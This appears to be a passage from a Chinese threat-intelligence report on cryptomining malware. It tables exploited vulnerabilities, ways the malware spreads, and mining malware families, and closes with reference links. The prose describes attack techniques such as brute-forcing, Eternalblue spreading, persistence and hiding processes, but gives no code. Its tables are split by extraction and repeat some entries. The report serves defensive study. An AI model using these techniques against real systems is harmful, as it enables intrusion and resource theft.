ThinkPHP5 远程代码执行漏洞	CNVD-2018-24942	ThinkPHP 5.*，<5.1.31 ThinkPHP <=5.0.23	thinkphp5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未进行足够的检测，攻击者利用该漏洞对目标网站进行远程命令执行攻击。	https://www.cnvd.org.cn/flaw/show/CNVD-2018-24942

Weblogic 反序列化漏洞	CVE-2017-10271	Oracle WebLogic Server 组件 WLS Security: 10.3.6.0.0 12.1.3.0.0 12.2.1.1.0 12.2.1.2.0	该漏洞允许未经身份验证的攻击者通过 T3 访问网络来破坏 Oracle WebLogic Server。成功攻击此漏洞可能会导致 Oracle WebLogic Server 被接管。	https://s.tencent.com/research/report/1229 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10271
Weblogic 未授权命令执行漏洞	CVE-2020-14882 CVE-2020-14883	Oracle WebLogic Server: 10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0	该漏洞允许未经身份验证的攻击者通过 HTTP 访问网络来破坏 Oracle WebLogic Server。成功攻击此漏洞可能会导致 Oracle WebLogic Server 被接管。	https://s.tencent.com/research/report/1170 https://s.tencent.com/research/report/1234 https://s.tencent.com/research/report/1241
SaltStack 远程命令	CVE-2020-11651	SaltStack < 2019.2.4	CVE-2020-11651:为认证绕过漏洞,攻击者	https://s.tencent.com/research/re

执行漏洞	CVE-2020-11652	SaltStack< 3000.2	可构造恶意请求,绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,达到远程命令执行目的。CVE-2020-11652:为目录遍历漏洞,攻击者可构造恶意请求,读取服务器上任意文件,获取系统敏感信息。	port/976
TerraMaster TOS NAS 设备漏洞	CVE-2020-28188	版本低于或等于 4.2.06 的 TerraMaster TOS 设备	远程代码执行漏洞，允许未授权用户通过/include/makecvs.php 的 Event 参数远程执行 OS 命令	https://nvd.nist.gov/vuln/detail/CVE-2020-28188 https://s.tencent.com/research/report/55
Liferay Portal 漏洞	CVE-2020-7961	影响 Liferay Portal 如下版本: 6.1、6.2、7.0、7.1、7.2	远程代码执行漏洞，攻击者利用 JSON web services (JSONWS)反序列化不受信任的数据从而实现任意代码执行	https://www.anquanke.com/post/id/203870 https://s.tencent.com/research/report/55

Confluence 漏洞	CVE-2021-26084	6.13.23 之前版本 从 6.14.0 开始 7.4.11 之前版本 从 7.5.0 开始 7.11.6 之前版本 从 7.12.0 开始 7.12.5 之前版本	Confluence 远程代码执行漏洞，该漏洞允许攻击者在未经授权的情况下，在 Confluence 服务器或数据中心实例中执行任意代码	https://www.anquanke.com/post/id/253398
Vmware vCenter 漏洞	CVE-2021-21972	影响组件如下 VMware vCenter Server (7.0 U1c 之前的 7.x 版本，6.7 U3l 之前 6.7 版本，6.5 U3n 之前的 6.5 版本) VMware Cloud Foundation (4.2 之前的 4.x 版本，3.10.1.2 之前的 3.x 版本)	未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求，从而在服务器上写入 webshell，最终造成远程任意代码执行	https://paper.seebug.org/1701/
Zend Framework 漏洞	CVE-2021-3007	Zend Framework 3.0.0	Zend Framework (ZF)是 Zend 公司推出的一套使用 PHP 5 来开发 web 程序和服务的开源框架。攻击者可以利用该反序列化	https://www.venustech.com.cn/new_type/aqtg/20210105/22257.html

			漏洞远程执行代码	
用友 NC 漏洞	CNVD-2021-30167	用友 NC: 6.5	用友 NC 对外开放了 BeanShell 接口，攻击者可以在未授权的情况下直接访问该接口，并构造恶意数据执行任意代码并获取服务器权限	https://cert.360.cn/warning/detail?id=c71154c0c1dd15ffcd85aee8c777ef15
F5 BIG-IP 漏洞	CVE-2021-22986	16.0.1.1 之前的 16.0.x 版本, 15.1.2.1 之前的 15.1.x 版本, 14.1.4 之前的 14.1.x 版本, 13.1.3.6 之前的 13.1.x 版本	iControl REST 接口存在漏洞，利用该漏洞的攻击者可以在为授权情况下远程执行代码	https://www.anquanke.com/post/id/236159
Docker Remote API 未授权访问漏洞		对外开放 2375 端口且未开启认证的 Docker swarm 集群节点	Docker swarm 是一个将 docker 集群变成单一虚拟的 docker host 工具。在使用 docker swarm 的时候，管理的 docker 节点上会开放一个 TCP 端口 2375，绑定在 0.0.0.	https://cloud.tencent.com/developer/article/1744943

			0 上 ，http 访问 docker 节点该端口可以执行 docker 命令。	
Jenkins 未授权访问漏洞		未设置帐号密码，或者使用了弱帐号密码的 Jenkins 服务器	Jenkins 是基于 Java 开发的一种持续集成工具，用于监控持续重复的工作，该项目提供了一个开放易用的软件平台，使软件的持续集成变成可能。如果用户在使用 Jenkins 时未设置帐号密码，或者使用了弱帐号密码，可能导致未授权访问攻击。	https://s.tencent.com/research/report/1247
利用网站嵌入挖矿 JS 脚本			有些网站的挖矿行为是广告商的外链引入的，有的网站会使用一个“壳链接”来在源码中遮蔽挖矿站点的链接，有些是短域名服务商加入的（如 goobo.com.br 是一个巴西的短域名服务商，该网站主页，包括	https://www.anquanke.com/subject/id/99056

			通过该服务生成的短域名，访问时都会加载 coinhive 的链接来挖矿），有些是供应链污染（例如 www.midijs.net 是一个基于 JS 的 MIDI 文件播放器，网站源码中使用了 coinhive 来挖矿），有些是在用户知情的情况下进行的（如 authedmine.com 是新近出现的一个挖矿网站，网站宣称只有在用户明确知道并授权的情况下，才开始挖矿），有些是被加入到了 APP 中（攻击者将 Coinhive JavaScript 挖矿代码隐藏在了 app 的/assets 文件夹中的 HTML 文件中，当用户启动这些 app 且打开一个 WebView 浏览器实例时，恶意代码就会执行）	

利用热门游戏外挂传播			tlMiner 家族利用吃鸡外挂捆绑挖矿程序，进行传播	http://www.mnw.cn/keji/youxi/junshi/1915564.html
捆包正常安装包软件传播			“安装幽灵”病毒试图通过软件共享论坛等社交渠道来发布受感染的软件安装包，包括“Malwarebytes”、“CCleaner Professional”和“Windows 10 Manager”等知名应用共计 26 种，连同不同的版本共发布有 99 个之多。攻击者先将包含有“安装幽灵”的破解安装包上传到“mega”、“clicknupload”、“fileupload”等多个云盘，然后将文件的下载链接通过“NITROWAR”、“MEWAREZ”等论坛进行“分享”传播，相应的软件被受害者下载安装运行	https://www.anquanke.com/post/id/161048

			后，“安装幽灵”就会启动执行	
利用网游加速器隧道传播挖矿			攻击者通过控制吃鸡游戏玩家广泛使用的某游戏加速器加速节点，利用终端电脑与加速节点构建的 GRE 隧道发动永恒之蓝攻击，传播挖矿蠕虫的供应链攻击事件。	https://www.anquanke.com/post/id/149059
利用 KMS 进行传播			当用户从网站 http://kmspi.co 下载激活工具 KMSpico（以下简称 KMS）时，电脑将被植入挖矿病毒“Trojan/Miner”。该网站利用搜索引擎的竞价排名，让自己出现在搜索位置的前端，从而误导用户下载。	https://www.anquanke.com/post/id/91364
作为恶意插件传播			例如作为 kodi 的恶意插件进行传播： 1.用户将恶意存储库的 URL 添加到他们的 Kodi 安装列表中，以便下载一些附加组	https://www.anquanke.com/post/id/160105

			件。只要他们更新了 Kodi 附加组件，就会安装恶意加载项。 2.用户安装了现成的 Kodi 版本，该版本本身包含恶意存储库的 URL。只要他们更新了 Kodi 附加组件，就会安装恶意加载项。 3.用户安装了一个现成的 Kodi 版本，该版本包含一个恶意插件，但没有链接到存储库以进行更新。但是如果安装了 cryptominer，它将驻留在设备中并接收更新。	

7.2 附录二 恶意挖矿样本家族列表

家族名称	简介	涉及平台	主要攻击手法	相关参考链接

		和服务		
PhotoMiner	PhotoMiner 挖矿木马是在 2016 年首次被发现，主要的入侵方式是通过 FTP 爆破和 SMB 爆破传播。该木马传播时伪装成屏幕保护程序 Photo.scr。	Windows	PhotoMiner 主要通过 FTP 爆破和 SMB 爆破进行传播，当爆破成功后，就进行文件查找，在后缀为：php、PHP、htm、HTM、xml、XML、dhtm、DHTM、phtm、xht、htx、mht、bml、asp、shtm 中添加包含自己的<iframe>元素，并把自身复制到爆破成功后的 FTP 当中。文件查找结束后，就把服务器信息给返回到 C2 服务器。	https://www.guardicore.com/2016/06/the-photominer-campaign/
MyKings	MyKings 多重僵尸网络最早可以溯源到 2014 年，在这之后，一直从事入侵服务器或个人主机的黑色产业。近年来开始传	Windows 和 Linux	MyKings 主要通过暴力破解的方式进行入侵电脑，然后利用用户挖去门罗币，并留后门接受病毒团伙的控制。当挖矿病毒执行后，会修改磁盘 MBR 代码，等待电脑重启后，将恶意代码注入 winlogon 或 explorer 进程，最终恶意代码会下载后门病毒到本地执行。目	https://www.anquanke.com/post/id/96024

	播挖矿病毒 Voluminer。传播的挖矿病毒，隐蔽性强。		前的后门病毒模块是挖取门罗币。	
DDG 挖矿病毒	DDG 挖矿病毒是一款在 Linux 系统上运行的挖矿病毒，从 2017 年一直活跃到现在，到现在已经开发出了多个变种样本，如 minerd 病毒只是 ddg 挖矿木马的一个变种 •。更新比较频繁。有个明显的特征就是进程名为 dgg 开头的进程就是 DDG 挖矿病	Linux	DDG 挖矿病毒运行后，会依次扫描内置的可能的 C2 地址，一旦有存活的就取下载脚本执行，写入 crontab 定时任务，下载最新的挖矿木马执行，检测是否有其他版本的挖矿进程，如果有就结束相关进程。并内置 Redis 扫描器，暴力破解 redis 服务。	https://www.anquanke.com/post/id/97300

	毒。			
MsraMiner	该挖矿木马非常活跃，多个厂商对其命名，例如 WannaMiner，MsraMiner、HSMiner 这三个名字都为同一个家族。	Windows	MsraMiner 挖矿木马主要是通过 NSA 武器库来感染，通过 SMB445 端口。并且蠕虫式传播，通过 web 服务器来提供自身恶意代码下载，样本的传播主要靠失陷主机之间的 web 服务和 socket 进行传播，并且留有 C&C 用于备份控制。C&C 形似 DGA 产生，域名非常随机，其实都硬编码在样本中。并且在不停的迭代木挖矿马的版本。	https://www.anquanke.com/post/id/101392
JBossMiner	Jbossminner 主要是以 jboss 漏洞利用模块，structs2 利用模块，永痕之蓝利用模块，mysql 利用模块，redis 利用模块，Tomcat/A	Windows、Linux	JBossMiner 利用的入侵模块有 5 个：jboss 漏洞利用模块，structs2 利用模块，永痕之蓝利用模块，mysql 利用模块，redis 利用模块，Tomcat/Axis 利用模块。通过这 5 个模块，进行传播。并且该挖矿木马支持 windows 和 linux 两种平台，根据不同的平台传播不同	https://xz.aliyun.com/t/2189

	xis 利用模块。来进行传播。		的 payload。	
PowerGhost	PowerChost 恶意软件是一个 powershell 脚本，其中的主要的核心组件有：挖矿程序、minikatz 工具，反射 PE 注入模块、利用永恒之蓝的漏洞的 shellcode 以及相关依赖库、MS16-032，MS15-051 和 CVE-2018-8120 漏洞提权 payload。主要针对企业用户，在大型企业内网进行	Windows	PowerGhost 主要是利用 powershell 进行工作，并且利用 PE 反射加载模块不落地的挖矿。Powershell 脚本也是混淆过后的，并且会定时检测 C&C 上是否有有新版本进行更新。除此木马还具有本地网络传播，利用 mimikatz 和永恒之蓝在本地内网传播。	https://www.securityweek.com/stealthy-crypto-miner-has-worm-spreading-mechanism

	传播，并且挖矿采用无文件的方式进行，因此杀软很难查杀到挖矿程序。			
NSAFtpMiner	NASFtpMiner 是通过 1433 端口爆破入侵 SQL Server 服务器，进行传播。一旦植入成功，则会通过远控木马，加载挖矿程序进行挖矿，并且还会下载 NSA 武器库，进行内网传播，目前以及感染了 3w 多台电脑。	Windows	NSAFtpMiner 利用密码字典爆破 1433 端口登录，传播远控木马，然后再利用 NSA 武器库进行内网传播，远控木马还建立 ftp 服务，供内网其他被感染的电脑进行病毒更新，最后下载挖矿木马在局域网内挖矿。	https://www.freebuf.com/articles/es/183365.html
ADB.Miner	ADB.Miner 主要是针对 A	Andorid	ADB.Miner 感染后，会对外发起 5555 端口扫描，并	https://www.anquanke.com/post/id/97422

	ndorid 的 5555 adb 调试端口，开始感染传播。其中利用了的 MIRAI 的 SYN 扫描模块。		尝试把自身拷贝到新的感染机器。	
ZombieboyMiner	ZombieboyMiner 是通过 ZombieboyTools 黑客工具打包的 NSA 武器库进行传播挖矿程序和远控木马。	Windows	ZombieboyMiner 主要是通过 ZombieboyTools 所打包的 NSA 工具包进行入侵传播的，运行后，会释放 NSA 工具包，然后扫描内网的 445 端口，进行内网感染。	https://www.freebuf.com/articles/paper/187556.html
KoiMiner	KoiMiner 是腾讯御见威胁情报中心发现的挖矿攻击木马，由于挖矿木马 netxmr 解密代码后以模块名	Windows、Linux	常利用漏洞攻击服务器植入挖矿木马，使用的 SQL 爆破工具进行数据库爆破， SQL 爆破成功后在目标机器通过 SqlCommand 执行的恶意脚本代码，脚本代码执行时先恢复 SQL 的储存过程、注册多个 COM 组	https://www.freebuf.com/articles/192642.html

	“koi”加载而将其命名为 KoiMiner。		件以及其他相关操作来准备环境，然后尝试下载植入远控木马 system32.exe 并启动。	
NSABuffMiner	NSABuffMiner 是腾讯安全御见威胁情报中心在 2018 年 9 月发现的一个挖矿木马家族，主要利用永恒之蓝漏洞 ms17-010 攻击传播,且 Payload 下载植入的安装木马常常伪装成某些主流软件程序,常用挖矿进程名为 rundllhost.exe, 因其主要 C2 域名中包含“buff”特征字符而	Windows	病毒母体常将图标与文件信息均伪装为“某安全软件防护中心模块" ,使得用户相信该文件是一个安全正常文件,以便逃过手工查杀。病毒运行之后,会上传系统相关信息,占用系统部分资源进行挖矿,部分资源用于向内网与外网同时扩散攻击,攻击成功后,将被攻陷的机器变为“肉鸡"以执行上述恶意行为,循环反复。	https://s.tencent.com/research/report/716.html

	命名。			
NSAGluptebaMiner	cloudnet.exe 原来是 Gluptebа 恶意木马，2018 年 6 月腾讯安全威胁情报中心发现 cloudnet.exe 开始作为挖矿僵尸网络 NSAGluptebaMiner 的组件传播，使用 NSA 泄露的工具永恒之蓝进行攻击。	Windows	利用永恒之蓝漏洞进行传播,通过安装计划任务进行持久化,安装驱动对木马进行保护，利用组件 cloudnet.exe 构建僵尸网络，连接远程服务器来接收指令完成远控操作，并通过比特币交易数据更新 C2 地址。	https://s.tencent.com/research/report/965.html
BlueHero	BlueHero 是一个善于学习和使用各类 Web 服务器组件漏洞进行攻击的家族，于 2018 年 8 月首次	Windows	擅于使用弱口令爆破并且利用多个服务器组件漏洞进行攻击。前期通过释放网络扫描工具,在局域网内探测可以攻击传播的 IP 地址段,关闭 Windows 防火墙，利用"永恒之蓝"漏洞攻击包,及多个服务器组件相关漏	https://s.tencent.com/research/report/843.html

	被披露。自披露以来，其版本不断的在更新迭代，其在 4.0 版本新加入的攻击方法就达到十个之多。		洞(Struts2 漏洞、Weblogic 漏洞)在局域网内攻击传播，利用弱密码字典,在局域网内进行 SQL Server 1433 端口爆破和 IPCS 远程连接爆破攻击。	
KingMiner	KingMiner 最早于 2018 年 6 月中旬出现，是一种针对 Windows 服务器 MSSQL 进行爆破攻击的门罗币挖矿木马。	Windows	KingMiner 主要针对 MSSQL 进行爆破攻击入侵，利用 WMI 定时器和 Windows 计划任务进行持久化攻击，使用 base64 和特定编码的 XML，TXT，PNG 文件来加密木马程序，利用微软和多个知名厂商的签名文件作为父进程，"白+黑"启动木马 DLL	https://www.secrss.com/articles/17150
匿影	该家族的在野传播在 2019 年 3 月份被首次发现披露，主要借助永恒之蓝漏洞利用传播挖矿木马，因	Windows	利用永恒之蓝漏洞进行攻击传播，通过计划任务、WMI 后门进行本地持久化，然后在攻陷机器下载 XMRig 矿机挖矿门罗币、下载 nbminer 矿机挖矿 HNS（Handshake），还会利用 regsvr32.exe 加载执行 DLL 形	https://zhuanlan.zhihu.com/p/371806687

	为擅长使用匿名网盘、图床、区块链 DNS 等公共基础网络设施隐匿自身被命名为"匿影"。		式的木马程序	
LaofuMiner	该家族于 2019 年 12 月被腾讯安全御见威胁情报中心所披露，因其挖矿使用的自建矿池包含字符“laofubtc”，所以将其命名为 LaofuMiner，据溯源分析发现，该挖矿木马同 2018 年其他安全厂商报告的灰熊挖矿木马（BearMine	Windows	通过社会工程骗术进行传播，攻击者将远控木马程序伪装成“火爆新闻”、“色情内容”、“隐私资料”、“诈骗技巧”等文件名，通过社交网络发送到目标电脑，受害者双击查看文件立刻被安装“大灰狼”远控木马。受害者感染远控木马后中毒电脑被控制下载挖矿木马。	https://guanjia.qq.com/news/n3/2559.html

	r）同属一个黑产团伙。			
GuardMiner	GuardMiner 最早出现于 2019 年，至今已活跃超过 2 年，该挖矿木马通过 Go 语言编写的二进制程序针对 Windows 平台和 Linux 平台进行攻击传播。因挖矿守护进程使用文件名为 sysguard、phpguard 而得名。	Windows 和 Linux	GuardMiner 会扫描攻击 Redis、Drupal、Hadoop、Spring、thinkphp、WebLogic、SQLServer、Elasticsearch 多个服务器组件漏洞，并在攻陷的 Windows 和 Linux 系统中分别执行恶意脚本 init.ps1，init.sh，恶意脚本会进一步下载门罗币挖矿木马、清除竞品挖矿木马并进行本地持久化运行。在 Linux 系统上利用 SSH 连接和 Redis 弱口令爆破进行内网扩散攻击。	https://s.tencent.com/research/report/1012.html
z0Miner	z0Miner 从 2020 年开始活跃，攻击活动涉及 Windows 和 Linux 平台，因最	Windows 和 Linux	z0Miner 通过多种服务器组件的远程执行和未授权漏洞进行攻击传播，借助 Linux 的 Crontab 定时任务和 Windows 计划任务实现持久化，任务名称伪装为正常	https://s.tencent.com/research/report/1170.html https://www.trendmicro.com/en_us/research/21/i/cryptominer-z0miner-uses-newly-discovered-vulnerability-cve-2021.html

	初活跃时执行的 shell 脚本为 z0.txt 而得名。		服务规避检测。常用 pastebin 网站托管恶意载荷。	
SystemdMiner	SystemdMiner 在 2019 年被首次发现，因其组件以 systemd-<XXX>命名而得名，该挖矿病毒的文件下载均利用暗网代理	Linux	SystemdMiner 借助各类 Web 应用漏洞批量攻击、SSH 爆破以及内网的自动化运维工具进行传播扩散，入侵系统后会通过 Socket5 代理与 C&C 服务器通信，下载挖矿木马 init.x86_64，安装定时任务进行持久化，定时任务脚本为随机名。	https://blog.netlab.360.com/systemdminer-when-a-botnet-borrows-another-botnets-infrastructure/
WatchdogsMiner	WatchdogsMiner 于 2019 年被发现，由于其会在/tmp/目录下释放一个叫 watchdogs 的母体文件而得名，由 go 语言编译，可以在 Windows 和 Linux	Windows 和 Linux	WatchdogsMiner 通过 Redis 未授权访问漏洞和 SSH 爆破进行传播，后续版本使用自己控制的 C&C 服务器托管恶意代码。	https://unit42.paloaltonetworks.com/watchdog-cryptojacking/

	平台传播			
PhotoMiner	PhotoMiner 挖矿木马是在 2016 年首次被发现，主要的入侵方式是通过 FTP 爆破和 SMB 爆破传播。该木马传播时伪装成屏幕保护程序 Photo.scr。	Windows	PhotoMiner 主要通过 FTP 爆破和 SMB 爆破进行传播，当爆破成功后，就进行文件查找，在后缀为：php、PHP、htm、HTM、xml、XML、dhtm、DHTM、phtm、xht、htx、mht、bml、asp、shtm 中添加包含自己的<iframe>元素，并把自身复制到爆破成功后的 FTP 当中。文件查找结束后，就把服务器信息给返回到 C2 服务器。	https://www.guardicore.com/2016/06/the-photominer-campaign/
DDG 挖矿病毒	DDG 挖矿病毒是一款在 Linux 系统上运行的挖矿病毒，从 2017 年一直活跃到现在，到现在已经开发出了多个变种样本，如	Linux	DDG 挖矿病毒运行后，会依次扫描内置的可能的 C2 地址，一旦有存活的就取下载脚本执行，写入 crontab 定时任务，下载最新的挖矿木马执行，检测是否有其他版本的挖矿进程，如果有就结束相关进程。并内置 Redis 扫描器，暴力破解 redis 服务。	https://www.anquanke.com/post/id/97300

	minerd 病毒只是 ddg 挖矿木马的一个变种 •。更新比较频繁。有个明显的特征就是进程名为 dgg 开头的进程就是 DDG 挖矿病毒。			
H2Miner	H2Miner 是一个 linux 下的挖矿僵尸网络，变种较多	Linux	利用多种漏洞构建僵尸网络进行传播，后续执行的文件名包括 salt-minions salt-store kinsing kdevtmpfsi 等	https://s.tencent.com/research/report/1254.html https://s.tencent.com/research/report/976.html
NTP 挖矿蠕虫	NTP 挖矿蠕虫是一个新的挖矿木马。该挖矿木马具备蠕虫化攻击扩散能力，攻击成功后投递的最终载	Linux	利用 Drupal 远程代码执行漏洞 （CVE-2018-7600），Zeroshell 操作系统命令注入漏洞（CVE-2019-1272 5），Weblogic 组合漏洞攻击（CVE-2020-14882 &CV E-2020-14883），Confluence 未授权模板注入/代码执行	https://mp.weixin.qq.com/s/QxenSWkNNZO7pvgYC0oh0g

	荷名为 ntpclient，其主要目的为感染主机挖矿牟利，该挖矿木马在蠕虫化传播扩散过程中利用了至少 12 种高危漏洞攻击武器。		（CVE-2019-3396）,mongo-express 远程代码执行漏洞（CVE-2019-10758）,Supervisord 远程命令执行漏洞（CVE-2017-11610）,XXL-Job 未授权命令执行,Hadoop Yarn REST API 未授权命令执行漏洞,Redis 未授权写计划任务攻击,Visual Tools DVR VX16 4.2.2 8.0 - OS 命令执行漏洞,InoERP 0.7.2 - Remote Code Execution,Klog Server 2.4.1 - 命令注入漏洞等漏洞进行传播	
MimuMiner	MimuMiner 是 2021 年发现的一款利用 Confluence RCE 漏洞进行攻击的 Linux 挖矿木马。此外还具有利用 ssh 进行横向移动	Linux	木马运行后首先会清除其他挖矿家族的文件和进程，随后下载挖矿程序执行并清除系统日志。最后下载保活脚本执行。	https://mp.weixin.qq.com/s/d8citoIBpMQKsVf931PLFw

	的能力			
SHC-Miner	SHC-Miner 是一个利用爆破 SSH 口令进行传播的挖矿木马，因其使用了 SHC 对恶意脚本加密而命名。	Linux	木马运行后会修改当前用户的密码为随机，并且下载后续恶意模块。随后清除其他挖矿家族程序，然后并执行挖矿程序。并且还会清楚系统中的所有日志。最后添加计划任务并运行保活程序。	https://mp.weixin.qq.com/s/f8b_rfHqH5Wze3Bj5RS4Ww
PowerGhost	PowerChost 恶意软件是一个 powershell 脚本，主要利用永恒之蓝的漏洞的 shellcode 以及 MS16-032，MS15-051 和 CVE-2018-8120 漏洞提权 payload。主要针对企业用户，在大型	Windows、Linux	利用了永恒之蓝、MSSQL 爆破、SSH 爆破、wmi 以及 smb 爆破远程命令执行等，同时对 windows 和 linux 进行攻击，一旦该病毒进入内网，会在内网迅速传播。	https://www.secrss.com/articles/14988

	企业内网进行传播，并且挖矿采用无文件的方式进行。			
NSAFtpMiner	NSAFtpMiner 是腾讯安全御见威胁情报中心在 2018 年 9 月发现的一个挖矿木马家族，主要利用密码字典爆破 1433 端口登录以及永恒之蓝漏洞 ms17-010 攻击传播，攻击主进程伪装成“Ftp 系统核心服务”，还会利用 FTP 功能进行内网文件更新。其	Windows	Eternalblue,Doubleplsar 等漏洞攻击工具均被用来进行内网攻击.攻击主进程伪装成“Ftp 系统核心服务”，通过 FTP 功能对内网文件更新。其攻陷内网主机后，植入远程控制木马，并继续 c2 通信下载载荷进行内网扩散感染。	https://cloud.tencent.com/developer/news/309629

	攻击内网机器后，植入远程控制木马，并继续从 C2 地址下载挖矿和攻击模块，进行内网扩散感染。			
ZombieboyMiner	腾讯御见威胁情报中心对木马的 C2 域名 fq520000.com 及其文件进行分析，然后通过对比 Zombieboy 木马在几轮攻击中的攻击手法、恶意代码特征、C2 域名及 IP、端口特征的一致性，推测得出攻击来源属于同一团伙，并命名为	Windows	木马为公开的黑客工具 ZombieboyTools 进行修改的版本，将其中的 NSA 攻击模块进行打包，对公网以及内网进行攻击，并在中招机器执行 Payload 文件 x86/x64.dll，再植入挖矿、RAT 木马	https://www.freebuf.com/articles/paper/187556.html

	ZombieboyMiner			
驱动人生挖矿团伙	驱动人生”病毒自 2018 年出现，至今出现多个变种，不断进行技术优化以躲避安全软件的查杀监测，该病毒利用永恒之蓝漏洞、SMBGhost 漏洞等多种高危漏洞对 Windows、Linux 下的主机进行入侵感染，在入侵成功之后不仅会下载挖矿文件进行挖矿，还会释放传播模块继续入侵感染其他终端，	Windows、Linux	利用永恒之蓝漏洞、SMBGhost 漏洞等多种高危漏洞，对 MSSQL,SSH 暴力破解	https://www.freebuf.com/articles/system/289740.html

	并且病毒所使用的 Powershell 脚本经过多层混淆用以逃避安全软件的查杀.			
TeamTNT	TeamTNT 是一个主要入侵在线容器并通过挖矿和 DDoS 进行牟利的攻击团伙。2021 年年初，该团伙被发现入侵了某 Kubernetes 集群，通过结合脚本和现有工具，最终在容器内植入挖矿木马。	Linux	(1）在清除竞品挖矿进程后，使用带有“TeamTNT is watching you!”字样的 LOCKFILE 字符串覆盖相关进程的源文件； （2）通过计划任务、系统服务、用户 profile 文件等多种方式进行持久化； （3）篡改系统 ps、top、pstree 等命令，隐藏自身木马进程； （4）篡改系统与重启相关的命令和服务，防止用户重启主机； （5）改用 Redis 未授权访问漏洞对云服务器进行横	https://mp.weixin.qq.com/s/h5FEmeBG7Y8RugX47gUlnw

			向攻击传播	
RunMiner	RunMiner 挖矿木马团伙是非常活跃的黑产组织，该组织擅长利用各种漏洞武器入侵存在漏洞的系统，植入木马，控制远程主机挖矿。2020 年 12 月，腾讯安全披露其捕获该组织利用 Apache Shiro 反序列化漏洞（CVE-2016-4437）攻击控制约 1.6 万台主机挖矿。	Windows、Linux	利用 weblogic 反序列化漏洞（CVE-2017-10271）对云主机发起攻击，攻击成功后执行恶意脚本对 Linux、Windows 双平台植入挖矿木马。	https://s.tencent.com/research/report/1229.html
TOPMiner	腾讯主机安全在 2021 年	Linux	对 SSH 弱口令进行爆破，内网横向传播，下载恶意 s	https://s.tencent.com/research/report/1213.html

	1 月披露该木马通过 SSH 弱口令爆破进行攻击入侵，会清除竞品挖矿木马，同时会使用爆破工具在内网横向传播，由于其使用名为 top 的挖矿木马，所以将其命名为 Top Miner。		hell 脚本,下载挖矿木马 nginx、top，爆破 root 账户	

8 参考链接

1. https://ti.qianxin.com/blog/articles/8220-mining-gang-in-china/
2. https://ti.qianxin.com/blog/articles/more-infomation-about-adb-miner/
3. https://blog.trendmicro.com/trendlabs-security-intelligence/rig-exploit-kit-now-using-cve-2018-8174-to-deliver-monero-miner/
4. https://research.checkpoint.com/jenkins-miner-one-biggest-mining-operations-ever-discovered/
5. https://www.volexity.com/blog/2018/08/27/active-exploitation-of-new-apache-struts-vulnerability-cve-2018-11776-deploys-cryptocurrency-miner/
6. https://coinhive.com/
7. https://github.com/xmrig/xmrig
8. https://github.com/cnrig/cnrig
9. https://github.com/fireice-uk/xmr-stak